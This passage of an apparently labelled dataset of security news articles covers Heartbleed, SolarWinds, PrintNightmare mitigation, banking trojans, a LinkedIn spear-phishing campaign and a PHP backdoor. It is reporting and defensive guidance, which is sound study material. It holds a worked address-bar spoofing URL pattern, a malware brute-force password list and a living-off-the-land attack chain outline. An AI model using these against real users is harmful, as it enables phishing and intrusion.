According to the firm, it is clear that the Heartbleed attack is not traceable, and the bug returns only 64KB of memory for each heartbeat request, but in order to fetch useful data an attacker need to send a continuous chain of requests, and in this situation, an IDS signature specifically written for Heartbleed triggered more than 17,000 alerts during the intrusion.

The researchers posted the evidence for the assurance that the attacker they tracked had ""stolen legitimate user session tokens"":
A malicious IP address triggered thousands of IDS alerts for the Heartbleed vulnerability destined for the victim organization's SSL VPN.
The VPN logs showed active VPN connections of multiple users rapidly changing back and forth, ""flip flopping"", between the malicious IP address and the user's original IP address. In several cases the ""flip flopping"" activity lasted for multiple hours.
The timestamps associated with the IP address changes were often within one to two seconds of each other.
The legitimate IP addresses accessing the VPN were geographically distant from malicious IP address and belonged to different service providers.
The timestamps for the VPN log anomalies could be correlated with the IDS alerts associated with the Heartbleed bug.
""Once connected to the VPN, the attacker attempted to move laterally and escalate his/her privileges within the victim organization,"" the researchers wrote.

The Mandiant researchers recommended all organizations running both remote access software and appliances vulnerable to the Heartbleed exploit to immediately identify and upgrade with the available patches and review their VPN logs to know if an attack had occurred in the past or not.

",Vulnerability
Mimecast Finds SolarWinds Hackers Stole Some of Its Source Code,https://thehackernews.com/2021/03/mimecast-finds-solarwinds-hackers-stole.html,"Email security firm Mimecast on Tuesday revealed that the state-sponsored SolarWinds hackers who broke into its internal network also downloaded source code out of a limited number of repositories.
""The threat actor did access a subset of email addresses and other contact information and hashed and salted credentials,"" the company said in a write-up detailing its investigation, adding the adversary ""accessed and downloaded a limited number of our source code repositories, as the threat actor is reported to have done with other victims of the SolarWinds Orion supply chain attack.""
But Mimecast said the source code downloaded by the attackers was incomplete and would be insufficient to build and run any aspect of the Mimecast service and that it did not find signs of any tampering made by the threat actor to the build process associated with the executables that are distributed to its customers.
On January 12, Mimecast disclosed that ""a sophisticated threat actor"" had compromised a digital certificate it provided to certain customers to securely connect its products to Microsoft 365 (M365) Exchange.
Weeks later, the company tied the incident to the SolarWinds mass exploitation campaign, noting that the threat actor accessed and possibly exfiltrated certain encrypted service account credentials created by customers hosted in the U.S. and the U.K.
Pointing out that the intrusion stemmed as a result of Sunburst backdoor that was deployed via trojanized SolarWinds Orion software updates, the company said it observed lateral movement from the initial access point to its production grid environment containing a small number of Windows servers in a manner that was consistent with the attack pattern attributed to the threat actor.
Although the exact number of customers who used the stolen certificate remains unknown, the company said in January that ""a low single digit number of our customers' M365 tenants were targeted.""
Alleged to be of Russian origin, the threat actor behind the SolarWinds supply-chain attacks is being tracked under multiple names, including UNC2452 (FireEye), Dark Halo (Volexity), SolarStorm (Palo Alto Unit 42), StellarParticle (CrowdStrike), and Nobelium (Microsoft).
Mimecast, which had roped Mandiant to lead its incident response efforts, said it concluded the probe earlier this month.
As part of a slew of countermeasures, the company also noted that it fully replaced the compromised Windows servers, upgraded the encryption algorithm strength for all stored credentials, implemented enhanced monitoring of all stored certificates and encryption keys and that it had decommissioned SolarWinds Orion in favor of a NetFlow monitoring system.

",Cyber_Attack
Unpatched Flaw in UC Browser Apps Could Let Hackers Launch Phishing Attacks,https://thehackernews.com/2019/05/uc-browser-url-spoofing.html,"A bug hunter has discovered and publicly disclosed details of an unpatched browser address bar spoofing vulnerability that affects popular Chinese UC Browser and UC Browser Mini apps for Android.

Developed by Alibaba-owned UCWeb, UC Browser is one of the most popular mobile browsers, specifically in China and India, with a massive user base of more than half a billion users worldwide.

According to the details security researcher Arif Khan shared with The Hacker News, the vulnerability resides in the way User Interface on both browsers handles a special built-in feature that was otherwise designed to improve users Google search experience.

The vulnerability, which has yet not assigned any CVE identifier, could allow an attacker to control URL string displayed in the address bar, eventually letting a malicious website to pose as some legitimate site.

The vulnerability affects the latest UC Browser version 12.11.2.1184 and UC Browser Mini version 12.10.1.1192—that is currently being used by over 500 million and 100 million users respectively, according to Google Play Store.

Though the flaw is similar to the one Khan discovered last month in the MI browser that comes pre-installed on Xiaomi smartphones and the Mint browser, phishing pages served using the newly discovered vulnerability in UC Browser still leaves some indicators that vigilant users can spot.

When users search something on ""google.com"" using UC Browsers, the browsers automatically remove the domain from the address bar and rewrite it only to display the search query string to the user.
Arif found that the pattern matching logic used by UC Browsers is insufficient and can be abused by attackers by simply creating subdomains on their own domain, as ""www.google.com.phishing-site.com?q=www.facebook.com,"" tricking browsers into thinking that the given site is ""www.google.com"" and the search query is ""www.facebook.com.""

The URL Address Bar spoofing vulnerability can be used to easily trick UC Browser users into thinking they're visiting a trusted website when actually being served with a phishing page, as shown in the video demonstration.

""The fact that their regex rules just match the URL string, or, the URL any user is trying to visit a whitelist pattern but only check if the URL begins with a string like www.google.com can enable an attacker to bypass this regex check by simply using a subdomain on his domain like www.google.com.blogspot.com and attach the target domain name (which he wants to pose as) to the query portion of this subdomain like ?q=www.facebook.com,"" Arif explains in a blog post.

Unlike Xiaomi browsers flaw, the UC browsers vulnerability does not allow an attacker to spoof SSL indicator, which is a basic and important factor that users cross-check to determine if a site is fake or legit.

The Hacker News has independently verified the vulnerability and can confirm it works on the latest versions of both web browsers available at the time of writing.

What's interesting? The researcher also mentioned that some old and other versions of UC Browser and UC Browser Mini are not affected by this URL Address Bar spoofing vulnerability, which suggests that a ""new feature might have been added to this browser sometime back which is causing this issue.""

Khan responsibly reported the vulnerability to the UC Browser security team more than a week ago, but the company has not yet addressed the issue and simply put an Ignore status on his report.

UC Browser was in the news just over a month ago when researchers found a ""hidden"" feature in its Android app that could have been exploited by attackers to remotely download and execute malicious code on Android phones and hijack them.

",Vulnerability
How to Mitigate Microsoft Print Spooler Vulnerability – PrintNightmare,https://thehackernews.com/2021/07/how-to-mitigate-microsoft-print-spooler.html,"This week, PrintNightmare - Microsoft's Print Spooler vulnerability (CVE-2021-34527) was upgraded from a 'Low' criticality to a 'Critical' criticality.
This is due to a Proof of Concept published on GitHub, which attackers could potentially leverage for gaining access to Domain Controllers.
As we reported earlier, Microsoft already released a patch in June 2021, but it wasn't enough to stop exploits. Attackers can still use Print Spooler when connecting remotely. You can find all you need to know about this vulnerability in this article and how you can mitigate it (and you can).
Print Spooler in a nutshell: Print Spooler is Microsoft's service for managing and monitoring files printing. This service is among Microsoft's oldest and has had minimal maintenance updates since it was released.
Every Microsoft machine (servers and endpoints) has this feature enabled by default.
PrintNightmare vulnerability: As soon as an attacker gains limited user access to a network, he will be able to connect (directly or remotely) to the Print Spooler. Since the Print Spooler has direct access to the kernel, the attacker can use it to gain access to the operating system, run remote code with system privileges, and ultimately attack the Domain Controller.
Your best option when it comes to mitigating the PrintNightmare vulnerability is to disable the Print Spooler on every server and/or sensitive workstation (such as administrators' workstations, direct internet-facing workstations, and non-printing workstations).
This is what Dvir Goren's, hardening expert and CTO at CalCom Software Solutions, suggests as your first move towards mitigation.
Follow these steps to disable the Print Spooler service on Windows 10:
Open Start.
Search for PowerShell, right-click on it and select the Run as administrator.
Type the command and press Enter: Stop-Service -Name Spooler -Force
Use this command to prevent the service from starting back up again during restart: Set-Service -Name Spooler -StartupType Disabled
According to Dvir's experience, 90% of servers do not require Print Spooler. It is the default configuration for most of them, so it is usually enabled. As a result, disabling it can solve 90% of your problem and have little impact on production.
In large and complex infrastructures, it can be challenging to locate where Print Spooler is used.
Here are a few examples where Print Spooler is required:
When using Citrix services,
Fax servers,
Any application requiring virtual or physical printing of PDFs, XPSs, etc. Billing services and wage applications, for example.
Here are a few examples when Print Spooler is not needed but enabled by default:
Domain Controller and Active Directory – the main risk in this vulnerability can be neutralized by practicing basic cyber hygiene. It makes no sense to have Print Spooler enabled in DCs and AD servers.
Member servers such as SQL, File System, and Exchange servers.
Machines that do not require printing.
A few other hardening steps suggested by Dvir for machines dependent on Print Spooler include:
Replace the vulnerable Print Spooler protocol with a non-Microsoft service.
By changing 'Allow Print Spooler to accept client connections', you can restrict users' and drivers' access to the Print Spooler to groups that must use it.
Disable Print Spooler caller in Pre-Windows 2000 compatibility group.
Make sure that Point and Print is not configured to No Warning – check registry key SOFTWARE/Policies/Microsoft/Windows NT/Printers/PointAndPrint/NoElevationOnInstall for DWORD value 1 and change it to 0.
Turn off EnableLUA – check registry key SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System/EnableLUA for DWORD value 0 and change it to 1.
Here's what you need to do next to ensure your organization is secure:
Identify where Print Spooler is being used on your network.
Map your network to find the machines that must use Print Spooler.
Disable Print Spooler on machines that do not use it.
For machines that require Print Spooler – configure them in a way to minimize its attack surface.
Beside this, to find potential evidence of exploitation, you should also monitor Microsoft-Windows-PrintService/Admin log entries. There might be entries with error messages that indicate Print Spooler can't load plug-in module DLLs, although this can also happen if an attacker packaged a legitimate DLL that Print Spooler demands.
The final recommendation from Dvir is to implement these recommendations through hardening automation tools. Without automation, you will spend countless hours attempting to harden manually and may end up vulnerable or causing systems to go down
After choosing your course of action, a Hardening automation tool will discover where Print Spooler is enabled, where they are actually used, and disable or reconfigure them automatically.

",Vulnerability
Converting Google Chrome into a Bugging Device by exploiting Speech Recognition feature,https://thehackernews.com/2014/01/converting-google-chrome-into-bugging.html,"How many of you use Google Chrome for surfing the Internet and feel safe while working on it? I think many of you. Chrome is one of the most trusted Web Browsers that provide a user friendly environment and cyber security, but this we all know that every product has its negative side too, and so has Google's Chrome.

Chrome has a 'Voice Recognition' feature, that use your system's microphone and allows you to speak instead of typing into any text box, to make hands-free web searches, quick conversions, and audio translator also work with them.

Google's browser is also not immune to bugs and this time the new bug discovered in Chrome is capable to listen and record your whole private conversations without your knowledge, by abusing the voice recognition feature.

While working on 'Annyang', a voice to text software for websites, the web developer 'Tal Ater' discovered a vulnerability that can be exploited and lets malicious sites to turn your Google Chrome into a listening device, that can record anything said around your computer, even after you've left those sites.

Whenever a user visits a speech recognition site that offers them to control the site by using their voice with speech recognition software, the Chrome asks permission to use a microphone, the user accepts. Chrome shows an icon in the notification area that your microphone is on which suppose to be turned off when you close that tab or visit another site.

All a malicious site has to do is get you to enable voice control for any legitimate purpose and shoot out a pop-under window disguised as an ordinary ad, to keep your microphone 'ON'. As long as it remains open, every noise you make will be uploaded to the hacker's server without asking any permission.

He also explained that just by using secure HTTPS connections don't mean that the site is safe. Once you give the permission to access your microphone for the HTTPS site, Chrome will remember and won't ask your permission again for that site.

Chrome Speech Recognition Exploit Demo
He reported the flaw to the Google security team in late September, 2013; they accepted the loophole, but never released the update to the desktop users.

A few weeks later, Tal Atar asked the Google Security Team about the reason for the delay in patch delivery, and they replied, ""we are waiting for the web's standards organization, the W3C group to agree on the best course of action"", and so your browser is still vulnerable.

After the public release of POC, the Google spokesperson said, ""We've re-investigated and still believe there is no immediate threat, since a user must first enable speech recognition for each site that requests it. The feature is in compliance with the current W3C standard, and we continue to work on improvements.""

He has published the source code for the exploit to encourage Google to fix it and to maintain users' Internet security.

",Vulnerability
Iran blocks most virtual private network (VPN) services,https://thehackernews.com/2013/03/iran-blocks-most-virtual-private.html,"IRAN has spent years fending off cyber attacks, blocking access and isolated their own intranet off from the outside world. Many Iranians was using of virtual private network (VPNs), which provides encrypted links directly to private networks based abroad, to access Sites like YouTube and Facebook after bypassing the country's internet filter.
But recently, Iranian authorities have blocked the use of most virtual private network to stop people in the country from circumventing the government's internet filter.

A widespread government internet filter prevents Iranians from accessing many sites on the official grounds they are offensive or criminal.

Ramezanali Sobhani-Fard, the head of parliament's information and communications technology committee said, ""Within the last few days illegal VPN ports in the country have been blocked. Only legal and registered VPNs can from now on be used.""

Registered and legal VPN access can still be purchased, but the typical filter workarounds no longer work.

",Cyber_Attack
Duuzer Trojan: A New Backdoor Targeting South Korean Organizations,https://thehackernews.com/2015/10/computer-malware-attack.html,"Security researchers at Symantec have uncovered a new Backdoor Trojan that grants hackers remote access and some control over infected machines.

""Duuzer,"" as dubbed by the researchers, has been targeting organizations in South Korea and elsewhere in an attempt to steal valuable information.

The Trojan is designed to infect both 32-bit and 64-bit computers running Windows 7, Windows Vista, and Windows XP.

Duuzer gives attackers remote access to the compromised computer, allowing them to:
Collect system and drive information
Create, enumerate, and end processes
Access, modify and delete files
Upload and Download additional files
Change the time attributes of files
Execute malicious commands
Steal data from infected system
Know about victim's Operating System

Duuzer Infects via Spear Phishing or Watering Hole Attacks

It is currently unclear how the malware is being distributed, but according to Symantec Researchers, the most obvious routes are Spear Phishing campaigns and Watering Hole attacks.

Once infected, Duuzer checks if the system is running on a virtual machine like VMWare or Virtual Box to ensure that security researchers are not analyzing the malware before performing its malicious routines.

Moreover, the Trojan identifies the existing software configured to run on startup and takes the name of that legitimate software on an infected computer and spread across the system.

Duuzer's first sets up a backdoor on the machine, allowing attackers physical access to the system.

The attackers then manually run commands through the backdoor on affected computers. They can perform a variety of operations mentioned above.
""Based on our analysis of Duuzer, the attackers behind the threat appear to be experienced and have knowledge about security researchers' analysis techniques,"" researchers said. ""Their motivation seems to be obtaining valuable information from their targets' computers.""

'Brambul' Worm and 'Joanap' Trojan also Detected

Research also discovered a dropper that infects computers with a worm known as Brambul and a Backdoor Trojan called Joanap. Both of them mostly work together and typically used to log and monitor infected systems remotely.

It is still unclear how the dropper is being distributed; however, it is believed that it comes from malicious emails.

The worm detected as W32.Brambul uses brute-force attacks via the Server Message Block (SMB) protocol to spread from one computer to another.

Once infected, the Brambul worm connects to random IP addresses on the local network and authenticates itself through SMB using common passwords, like 'password,' 'login,' '123123,' 'abc123' and 'iloveyou.'

Besides attacking other computers via SMB, Brambul creates a network share on compromised computers, usually the system drive, and then sends the computer's details and login credentials to a predefined email address.

Connection between Duuzer, Brambul and Joanap

According to Symantec, Duuzer has a connection with both Joanap and Brambul...But how?

Once infected, Brambul drops other pieces of malware on infected machines, either Duuzer or Joanap.

Systems infected with Brambul have been used as command-and-control (CnC) servers for Duuzer and have also been compromised with Duuzer.

If Joanap is dropped, the Trojan will register itself as a local OS service, named ""SmartCard Protector."" The Trojan opens a backdoor on the compromised machine and starts:
Sending specific files to the attackers
Saving or deleting files
Downloading and executing files
Executing or terminating processes
Propagating instructions it receives from the C&C server

How to get rid of this ARMY?

Though Duuzer, Brambul, and Joanap are just a small selection of many threats affecting South Korean organizations with a very low-risk level.

But still, it is recommended for the users and businesses to keep themselves safe and protected by following these steps and prevent their systems from being compromised with this malware:
Use a firewall to block all incoming connections from the Internet to services that shouldn't be publicly available.
You should, by default, deny all incoming connections and only allow services you explicitly want to offer to the outside world.
Use Complex Passwords as it makes it difficult to crack.
Turned OFF Bluetooth if it is not required for mobile devices. Also, turn off other services not required at present.
Train your employees not to open email or messages attachments unless they are expecting them.
For more details, head on the Symantec's official blog.

",Cyber_Attack
Japanese Android developers arrested for infecting 10 million users,https://thehackernews.com/2012/10/japanese-android-developers-arrested.html,"Japanese police arrested five mobile applications developers for creating and embedding a virus into smartphone applications. According to The Metropolitan Police Department, Intial reports said that about 90,000 smartphones users were infected with a virus lurking in applications they downloaded, But later they found that developers stole more than 10 million pieces of personal information from users mobile.

These guys runs an IT-related company, they created a video applications for Android smartphones containing a virus that extracts personal information stored on the phone. The man released the apps on Google Inc.'s official store for free in late March and was downloaded 270,000 times.

The free apps were marketed to customers by affixing the phrase ""The Movie"" to existing popular game titles. When the apps are downloaded and activated, they can automatically transmit personal data. The stolen information found on the server has not been used by the malware developers but the police is investigating the motive of the crime.

Violators face up to three years in prison or fines of up to 500,000 yen (S$7645). Creating viruses for computers and smartphones was criminalized under the revised Penal Code that was enacted in July last year.

",Malware
Intel Adds Hardware-Enabled Ransomware Detection to 11th Gen vPro Chips,https://thehackernews.com/2021/01/intel-adds-hardware-enabled-ransomware.html,"Intel and Cybereason have partnered to build anti-ransomware defenses into the chipmaker's newly announced 11th generation Core vPro business-class processors.
The hardware-based security enhancements are baked into Intel's vPro platform via its Hardware Shield and Threat Detection Technology (TDT), enabling profiling and detection of ransomware and other threats that have an impact on the CPU performance.
""The joint solution represents the first instance where PC hardware plays a direct role in ransomware defenses to better protect enterprise endpoints from costly attacks,"" Cybereason said.
Exclusive to vPro, Intel Hardware Shield provides protections against firmware-level attacks targeting the BIOS, thereby ensuring that the operating system (OS) runs on legitimate hardware as well as minimizing the risk of malicious code injection by locking down memory in the BIOS when the software is running to help prevent planted malware from compromising the OS.
Intel TDT, on the other hand, leverages a combination of CPU telemetry data and machine learning-based heuristics to identify anomalous attack behavior — including polymorphic malware, file-less scripts, crypto mining, and ransomware infections — in real-time.
""The Intel [CPU performance monitoring unit] sits beneath applications, the OS, and virtualization layers on the system and delivers a more accurate representation of active threats, system-wide,"" Intel said. ""As threats are detected in real-time, Intel TDT sends a high-fidelity signal that can trigger remediation workflows in the security vendor's code.""
The development comes as ransomware attacks exploded in number last year, fueled in part by the COVID-19 pandemic, with average payout increasing from about $84,000 in 2019 to about $233,000 last year.
The ransomware infections have also led to a spike in ""double extortion,"" where cybercriminals steal sensitive data before deploying the ransomware and hold it hostage in hopes that the victims will pay up rather than risk having their information made public — thus completely undermining the practice of recovering from data backups and avoid paying ransoms.
What's more, malware operators are increasingly extending their focus beyond the operating system of the device to lower layers to potentially deploy bootkits and take complete control of an infected system.
Last month, researchers detailed a new ""TrickBoot"" feature in TrickBot that can allow attackers to inject malicious code in the UEFI/BIOS firmware of a device to achieve persistence, avoid detection and carry out destructive or espionage-focused campaigns.
Viewed in that light, the collaboration between Intel and Cybereason is a step in the right direction, making it easier to detect and eradicate malware from the chip-level all the way to the endpoint.
""Cybereason's multi-layered protection, in collaboration with Intel Threat Detection Technology, will enable full-stack visibility to swiftly detect and block ransomware attacks before the data can be encrypted or exfiltrated,"" the companies said.

",Malware
Warning: Millions Of P0rnHub Users Hit With Malvertising Attack,https://thehackernews.com/2017/10/online-malvertising-attack.html,"Researchers from cybersecurity firm Proofpoint have recently discovered a large-scale malvertising campaign that exposed millions of Internet users in the United States, Canada, the UK, and Australia to malware infections.

Active for more than a year and still ongoing, the malware campaign is being conducted by a hacking group called KovCoreG, which is well known for distributing Kovter ad fraud malware that was used in 2015 malicious ad campaigns, and most recently earlier in 2017.

The KovCoreG hacking group initially took advantage of P0rnHub—one of the world's most visited adult websites—to distribute fake browser updates that worked on all three major Windows web browsers, including Chrome, Firefox, and Microsoft Edge/Internet Explorer.

According to the Proofpoint researchers, the infections in this campaign first appeared on P0rnHub web pages via a legitimate advertising network called Traffic Junky, which tricked users into installing the Kovtar malware onto their systems.

Among other malicious things, the Kovter malware is known for its unique persistence mechanism, allowing the malware to load itself after every reboot of the infected host.

The Traffic Junky advertising network redirected users to a malicious website, where Chrome and Firefox users were shown a fake browser update window, while Internet Explorer and Edge users got a fake Flash update.
""The [infection] chain begins with a malicious redirect hosted on avertizingms[.]com, which inserts a call hosted behind KeyCDN, a major content delivery network,"" Proofpoint writes.

The attackers used a number of filters and fingerprinting of ""the timezone, screen dimension, language (user/browser) history length of the current browser windows, and unique id creation via Mumour,"" in an effort to target users and evade analysis.

Researchers said Chrome users were infected with a JavaScript which beaconed back to the server controlled by the attackers, preventing security analysts working through the infection chain if their IP had not ""checked in.""

""This makes it extremely unlikely that the JavaScript can be run alone and provide the payload in a sandbox environment,"" Proofpoint writes. ""This is most likely why this component of the chain has not been documented previously.""

In this case, the attackers limited their campaign to click fraud to generate illicit revenue, but Proofpoint researchers believed the malware could easily be modified to spread ransomware, information stealing Trojans or any other malware.

Both P0rnHub and Traffic Junky, according to the researchers, ""acted swiftly to remediate this threat upon notification.""

Although this particular infection chain was successfully shut down after the site operator and ad network got notified, the malware campaign is still ongoing elsewhere.

",Cyber_Attack
Ubuntu Linux Forum Hacked! Once Again,https://thehackernews.com/2016/07/ubuntu-hacked.html,"No software is immune to being Hacked! Not even Linux.

The Ubuntu online forums have been hacked, and data belonging to over 2 Million users have been compromised, Canonical just announced.

The compromised users' data include their IP addresses, usernames, and email addresses, according to the company, who failed to apply a patch to secure its users' data.

However, users should keep in mind that the hack did not affect the Ubuntu operating system, or it was not due to a vulnerability or weakness in the OS.

Instead, the breach only affected the Ubuntu online forums that people use to discuss the OS, said BetaNews, who initially reported the news.
""There has been a security breach on the Ubuntu Forums site,"" Jane Silber, Chief Executive Officer at Canonical wrote in a blog post. ""We take information security and user privacy very seriously, follow a strict set of security practices and this incident has triggered a thorough investigation.""
""Corrective action has been taken, and full service of the Forums has been restored. In the interest of transparency, we'd like to share the details of the breach and what steps have been taken. We apologize for the breach and ensuing inconvenience.""
After deeply investigating the incident, the company came to know that it left a known SQLi (SQL injection) vulnerability unpatched in the Forumrunner add-on in its Forums that exposed its users data.

Sounds really awful. This again proves that the Weakest Link in the security is still – Humans.

The SQL injection (SQLi) attack is an attack used to inject malicious SQL commands (malicious payloads) through the input data from the client to the application in order to breach the database and get access to the user's personal data.

The vulnerability is one of the oldest, but most powerful and most dangerous flaw that could affect any website or web application that uses an SQL-based database.

According to Silber, here's what the attackers were able to access:

The attackers were able to inject formatted SQL to the Forums database on the Forums database servers, which gave them access to read from any table.
The attackers then used the above access to download portions of the 'user' table containing usernames, email addresses, and IP addresses for 2 Million users.

Since the passwords stored in this table were random strings (which were Hashed and Salted) as the Ubuntu Forums rely on Ubuntu Single Sign On for logins, the company said that no active passwords were accessed by the attackers.

Although Canonical responded fast and had since patched the flaw, it is still disappointing that the firm's silly mistake to not installing a patch for a known bug caused exposure of its users personal data.

",Data_Breaches
Cyber Espionage Campaign Targets Israel and Palestine,https://thehackernews.com/2012/11/cyber-espionage-campaign-targets-israel.html,"Multiple malware attacks against both Israeli and Palestinian systems, likely to be coming from the same source, have been seen over the last year. Researchers in Norway have uncovered evidence of a vast Middle Eastern espionage network that for the past year has deployed malicious software to spy on Israeli and Palestinian targets.

Israel has banned its police force from connecting to the Internet and from using memory sticks or disks in an effort to curb a cyberattack. The ban, enacted last week, is meant to prevent a malware program called Benny Gantz-55 named after Benny Gantz, Israel's Chief of General Staff from infecting the police's computer network

Trend Micro has obtained samples of malware implicated in a recent incident, The attack began with a spammed message purporting to come from the head of the Israel Defense Forces, Benny Gatz. The From field has the email address, bennygantz59(at)gmail.com and bore the subject IDF strikes militants in Gaza Strip following rocket barrage to make it more legitimate.'

The attackers were serving up the XtremeRat trojan, which was infamously used in surveillance campaigns against Syrian activists. XtremeRat trojan a Remote Access Trojan that can be used to steal information and receive commands from a remote attacker. According to Trend, the latest iterations of Xtreme Rat have Windows 8 compatibility, improved Chrome and Firefox password grabbing, and improved audio and desktop capture capabilities features.

Looking into the source of the attacks, Norman said ""What is behind these IP addresses is hard to establish. It is possible they are hacked boxes and as such do not give much valid information. If that were the case, one might have expected a greater IP range and geographical distribution, but nothing is certain,"".

""In the following investigation we first found several other trojans similarly signed, then many more trojans connecting to the same command & control structure as the first batch."".

""The Command & Control structure is centered around a few dynamic DNS (DynDNS) domains that at the time of writing point to hosting services in the US.""

Officials have yet to determine whether the virus is a prank or was generated by Iran's cyberwarfare program, which had been rapidly expanded since Tehran's nuclear program was hit by the Stuxnet virus in 2010.

",Malware
Zeus Alternative Pandemiya Banking Malware For Sale in Underground Forums,https://thehackernews.com/2014/06/zeus-alternative-pandemiya-banking.html,"A new and relatively rare Zeus Trojan program has found which is totally different from other banking Trojans and has capability to secretly steal data from forms, login credentials and files from the victim as well as can create fake web pages and take screenshots of victim's computer.

Researchers at RSA Security's FraudAction team have discovered this new and critical threat, dubbed as 'Pandemiya', which is being offered to the cyber criminals in underground forums as an alternative to the infamous Zeus Trojan and its many variants, that is widely used by most of the cyber-criminals for years to steal banking information from consumers and companies.

The source code of the Zeus banking Trojan is available on the underground forums from past few years, which lead malware developers to design more sophisticated variants of Zeus Trojan such as Citadel, Ice IX and Gameover Zeus.

But, Pandemiya is something by far the most isolated and dangerous piece of malware as the author spent a year in writing the code for Pandemiya, which includes 25,000 lines of original code written in C.

Like other commercial Trojan, Pandemiya infect the machines through exploit kits and via drive-by download attacks to boost infection rate that exploit flaws in the vulnerable software such as Java, Silverlight and Flash within few seconds victim lands on the web page.

""Pandemiya's coding quality is quite interesting, and contrary to recent trends in malware development, it is not based on Zeus source code at all, unlike Citadel/Ice IX, etc.,"" researchers from RSA, the security division of EMC, said Tuesday in a blog post. ""Through our research, we found out that the author of Pandemiya spent close to a year of coding the application, and that it consists of more than 25,000 lines of original code in C.""

Pandemiya Trojan using Windows CreateProcess API to inject itself into every new process that is initiated, including Explorer.exe and re-injects itself when needed. Pandemiya is being sold for as much as $2,000 USD and provides all the nasty features including encrypted communication with command and control servers in an effort to evade detection.

The Trojan has been designed with modular architecture to load more external plug-ins, which allows hackers to add extra features simply by writing new DLL (dynamic link library). The extra plug-ins easily add capabilities to the Trojan's core functionality, that's why the developer charge an extra of $500 USD to get the core application as well as its plugins, which allows cybercriminals to open reverse proxies on infected computers, to steal FTP credentials and to infect executable files in order to inject the malware at start up.

""The advent of a freshly coded new trojan malware application is not too common in the underground,"" Marcus writes, adding that the modular approach in Pandemiya could make it ""more pervasive in the near future.""

The malware developers are also working on other new features to add reverse Remote Desktop Protocol connections and a Facebook attack module in order to spread the Trojan through hijacked Facebook accounts.

HOW TO REMOVE PANDEMIYA TROJAN
The Trojan can be easily removed with a little modification in the registry and command line action, as explained below:
Locate the registry key HKEY_LOCAL_USER\Software\Microsoft\Windows\CurrentVersion\Run and identify the *.EXE filename in your user's 'Application Data' folder. Note the name, and delete the registry value.
Locate the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls. Find the value with the same name as the *.EXE file in the previous step. Note the file name, and remove the value from the registry.
Reboot the system. At this stage Pandemiya is installed but no longer running. Delete both files noted earlier. This will remove the last traces of the Trojan. Your system is now clean.
Stay Safe!

",Malware
Hackers Target Military and Aerospace Staff by Posing as HRs Offering Jobs,https://thehackernews.com/2020/06/military-aerospace-hacking.html,"Cybersecurity researchers today took the wraps off a new sophisticated cyber-espionage campaign directed against aerospace and military organizations in Europe and the Middle East with an aim to spy on key employees of the targeted firms and, in some case, even to siphon money.

The campaign, dubbed ""Operation In(ter)ception"" because of a reference to ""Inception"" in the malware sample, took place between September to December 2019, according to a new report cybersecurity firm ESET shared with The Hacker News.

""The primary goal of the operation was espionage,"" the researchers told The Hacker News. ""However, in one of the cases we investigated, the attackers tried to monetize access to a victim's email account through a business email compromise (BEC) attack as the final stage of the operation.""

The financial motivation behind the attacks, coupled with similarities in targeting and development environment, have led ESET to suspect Lazarus Group, a notorious hacking group that's been attributed to working on behalf of the North Korean government to fund the country's illicit weapon and missile programs.

Social Engineering via LinkedIn

Stating that the campaign was highly targeted, ESET said it relied on social engineering tricks to lure employees working for the chosen companies with fake job offers using LinkedIn's messaging feature, posing as HR managers of well-known companies in the aerospace and defense industry, including Collins Aerospace and General Dynamics.


""Once the contact was established, the attackers snuck malicious files into the communication, disguising them as documents related to the advertised job offer,"" the researchers said, based on an investigation with two of the affected European companies.

The decoy RAR archive files, which were directly sent over the chats or as emails sent from their fake LinkedIn personas pointing to an OneDrive link, purported to contain a PDF document detailing salary information of specific job positions, when in actuality, it executed Windows' Command Prompt utility to perform a series of actions:

Copy Windows Management Instrumentation command-line tool (wmic.exe) to a specific folder
Rename it to something innocuous to evade detection (e.g., Intel, NVidia, Skype, OneDrive and Mozilla), and
Create scheduled tasks that execute a remote XSL script via WMIC.

The actors behind the operation, upon gaining an initial foothold inside the target company, went on to employ a custom malware downloader, which in turn downloaded a previously undocumented second-stage payload — a C++ backdoor that periodically sends requests to an attacker-controlled server, carry out pre-defined actions based on the received commands, and exfiltrate the collected information as a RAR file via a modified version of dbxcli, an open-source command-line client for Dropbox.

In addition to using WMIC to interpret remote XSL scripts, the adversaries also abused native Windows utilities such as ""certutil"" to decode base64-encoded downloaded payloads, and ""rundll32"" and ""regsvr32"" to run their custom malware.

""We actively seek out signs of state-sponsored activity on the platform and quickly take action against bad actors in order to protect our members. We don't wait on requests, our threat intelligence team removes fake accounts using information we uncover and intelligence from a variety of sources, including government agencies,"" Paul Rockwell, Head of Trust and Safety at LinkedIn said in a statement sent to The Hacker News.

""Our teams utilize a variety of automated technologies, combined with a trained team of reviewers and member reporting, to keep our members safe from all types of bad actors. We enforce our policies, which are very clear: the creation of a fake account or fraudulent activity with an intent to mislead or lie to our members is a violation of our terms of service. In this case, we uncovered instances of abuse that involved the creation of fake accounts. We took immediate action at that time and permanently restricted the accounts""

Financially Motivated BEC Attacks

Besides reconnaissance, ESET researchers also found evidence of attackers attempting to exploit the compromised accounts to extract money from other companies.


Although unsuccessful, the monetization tactic worked by using the existing email communications between the account holder and a customer of the company to settle an outstanding invoice to a different bank account under their control.

""As part of this ruse, the attackers registered an identical domain name to that of the compromised company, but on a different top-level domain, and used an email associated with this fake domain for further communication with the targeted customer,"" ESET said.

Ultimately, the targeted customer reached out to the correct email address of the victim about the suspicious emails, thus foiling the attackers' attempt.

""Our research into Operation In(ter)ception shows again how effective spear-phishing can be for compromising a target of interest,"" the researchers concluded.

""They were highly targeted and relied on social engineering over LinkedIn and custom, multistage malware. To operate under the radar, the attackers frequently recompiled their malware, abused native Windows utilities, and impersonated legitimate software and companies.""

",Cyber_Attack
PHP Site's User Database Was Hacked In Recent Source Code Backdoor Attack,https://thehackernews.com/2021/04/php-sites-user-database-was-hacked-in.html,"The maintainers of the PHP programming language have issued an update regarding the security incident that came to light late last month, stating that the actors may have gotten hold of a user database containing their passwords to make unauthorized changes to the repository.
""We no longer believe the git.php.net server has been compromised. However, it is possible that the master.php.net user database leaked,"" Nikita Popov said in a message posted on its mailing list on April 6.
On March 28, unidentified actors used the names of Rasmus Lerdorf and Popov to push malicious commits to the ""php-src"" repository hosted on the git.php.net server that involved adding a backdoor to the PHP source code in an instance of a software supply chain attack.
While this was initially treated as a compromise of the git.php.net server, further investigation into the incident has revealed that the commits were a result of pushing them using HTTPS and password-based authentication, leading them to suspect a possible leak of the master.php.net user database.
